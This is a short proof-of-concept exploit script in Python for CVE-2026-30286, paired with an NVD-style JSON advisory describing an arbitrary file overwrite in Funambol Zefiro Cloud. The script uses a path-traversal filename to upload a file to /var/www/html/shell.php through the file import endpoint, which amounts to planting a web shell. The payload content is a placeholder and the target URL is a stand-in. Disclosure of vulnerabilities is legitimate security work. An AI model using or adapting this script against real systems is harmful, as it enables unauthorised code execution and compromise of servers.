CVE-2026-30286

import requests def exploit(target_url): """ PoC for CVE-2026-30286: Arbitrary File Overwrite via File Import This script attempts to upload a file to a sensitive path. """ # The vulnerable endpoint for file import upload_url = f"{target_url}/api/file_import" # Malicious content to be written to the server data = "MALICIOUS_CODE_CONTENT" # Constructing a filename with path traversal to overwrite a critical file # Example: Overwriting a configuration file or script files = { 'file': ('../../../../../var/www/html/shell.php', data, 'text/plain') } try: response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] Exploit successful! File potentially overwritten.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://vulnerable-target:port" exploit(target)

{"cve": {"id": "CVE-2026-30286", "sourceIdentifier": "[email protected]", "published": "2026-03-31T18:16:47.433", "lastModified": "2026-04-03T18:26:13.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file overwrite vulnerability in Funambol, Inc. Zefiro Cloud v32.0.2026011614 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:funambol:zefiro:32.0.2026011614:*:*:*:*:*:*:*", "matchCriteriaId": "576C1CBB-969A-419F-B2B1-22C6755F70C4"}]}]}], "references": [{"url": "https://github.com/Secsys-FDU/AF_CVEs/issues/14", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://play.google.com/store/apps/details?id=com.funambol.zefiro", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://secsys.fudan.edu.cn/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://zefiro.me/", "source": "[email protected]", "tags": ["Product"]}]}}